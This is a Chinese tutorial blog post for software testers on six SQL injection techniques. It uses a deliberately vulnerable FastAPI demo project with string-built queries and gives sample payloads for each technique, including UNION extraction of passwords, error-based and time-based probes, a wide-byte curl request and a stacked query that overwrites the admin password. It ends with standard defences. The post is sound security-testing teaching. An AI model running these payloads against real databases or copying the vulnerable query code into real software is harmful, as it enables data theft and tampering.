📝 面试求职: 「面试试题小程序」 ,内容涵盖 测试基础、Linux操作系统、MySQL数据库、Web功能测试、接口测试、APPium移动端测试、Python知识、Selenium自动化测试相关、性能测试、性能测试、计算机网络知识、Jmeter、HR面试,命中率杠杠的。(大家刷起来…)
📝 职场经验干货:
测试技能:SQL注入原理与六大攻击方式
公司近期出过几次安全相关的事故,于是,要求测试工程师必须在测试工作中考虑安全相关的测试。因此,我又重新开始学习安全测试技术。OWASP Top 10安全漏洞,关于注入类攻击一致名列榜首,于是,先从SQL注入开始。
什么是SQL注入?
SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在输入字段中插入恶意SQL代码,诱使后端数据库执行非预期的查询,从而获取、篡改甚至破坏数据。其根本原因在于应用程序未对用户输入进行有效过滤和转义,直接将输入拼接到SQL语句中执行。
项目简介
为了方便学习,我单独创建了一个开源项目:https://github.com/AutoTestClass/Learn-hacking-class

本项目为SQL注入演示平台,旨在帮助测试工程师理解和实践各种SQL注入攻击及其防护。平台实现了六种典型的SQL注入方式,每种方式均有对应的接口和演示页面,便于学习和测试。
六种SQL注入方式与原理
1. 联合查询注入(Union-based Injection)
原理:利用UNION关键字,将攻击者自定义的查询结果与原查询结果合并,进而获取敏感数据。
项目实现:
@app.get("/union_injection/{product_id}")
def union_injection(product_id: str, db: Session = Depends(get_db)):
query = f"SELECT id, name, price FROM products WHERE id = {product_id}"
...
示例攻击语句:
1 UNION SELECT 1,username,password FROM users--
效果:可直接读取users表中的用户名和密码。
2. 布尔盲注(Boolean-based Blind Injection)
原理:通过构造布尔表达式,根据返回结果的真假判断数据库中的信息。适用于无错误回显的场景。
项目实现:
@app.get("/boolean_blind/{input}")
def boolean_blind(input: str, db: Session = Depends(get_db)):
query = f"SELECT username, email FROM users WHERE username = '{input}' "
...
示例攻击语句:
admin' OR 1=1
admin' AND SUBSTRING(password,1,1)='a
效果:可逐步猜解用户名、密码等敏感信息。
3. 报错注入(Error-based Injection)
原理:利用数据库的错误信息,将敏感数据通过报错内容回显给前端。
项目实现:
@app.get("/error_injection/")
def error_injection(input: str, db: Session = Depends(get_db)):
query = f"SELECT * FROM products WHERE id = {input}"
...
示例攻击语句:
1 AND (SELECT updatexml(1, concat(0x5c, (SELECT database())), 1))
1 AND extractvalue(1,concat(0x5c,(SELECT user())))
效果:可直接在错误信息中获取数据库名、用户名等。
4. 时间盲注(Time-based Blind Injection)
原理:通过构造包含延时函数(如SLEEP)的SQL语句,根据响应时间判断条件是否成立,进而推断数据。
项目实现:
@app.get("/time_blind/{input}")
def time_blind(input: str, db: Session = Depends(get_db)):
query = f"SELECT * FROM products WHERE id = {input}"
...
示例攻击语句:
1 AND IF(1=1, SLEEP(3), 0)
1 AND IF(SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a', SLEEP(3), 0)
效果:通过延迟响应时间,逐步猜解敏感信息。
5. 宽字节注入(Wide-byte Injection)
原理:利用数据库编码(如GBK)特性,绕过转义机制,实现注入。常见于宽字节编码下\与多字节字符组合被“吃掉”,导致转义失效。
项目实现:
@app.get("/wide_byte_injection/{input}")
def wide_byte_injection(input: str, db: Session = Depends(get_db)):
# 检查%df%5c,模拟宽字节绕过
...
示例攻击语句(需终端模拟):
curl "http://127.0.0.1:8000/wide_byte_injection/%df%5c%27%20OR%201=1%23"
效果:可绕过转义,执行注入语句。
6. 堆叠查询注入(Stacked Queries Injection)
原理:通过分号;分隔,执行多条SQL语句,通常用于批量操作数据。
项目实现:
@app.get("/stacked_queries/{input}")
def stacked_queries(input: str, db: Session = Depends(get_db)):
query = f"SELECT * FROM products WHERE id = 1; {input}"
...
示例攻击语句:
; UPDATE users SET password='hacked' WHERE username='admin'
效果:可批量修改、删除数据,危害极大。
总结
本项目通过六种典型注入方式,全面展示了SQL注入的攻击原理和危害。防护SQL注入的根本措施包括:
-
• 严格使用参数化查询(预编译语句)
-
• 对用户输入进行类型校验和转义
-
• 限制数据库账户权限
-
• 定期安全测试和代码审计
通过本平台的实践演练,测试工程师可深入理解SQL注入的本质与防御思路,为实际项目安全保驾护航。
最后: 下方这份完整的软件测试视频教程已经整理上传完成,需要的朋友们可以自行领取【保证100%免费】

3万+

被折叠的 条评论
为什么被折叠?



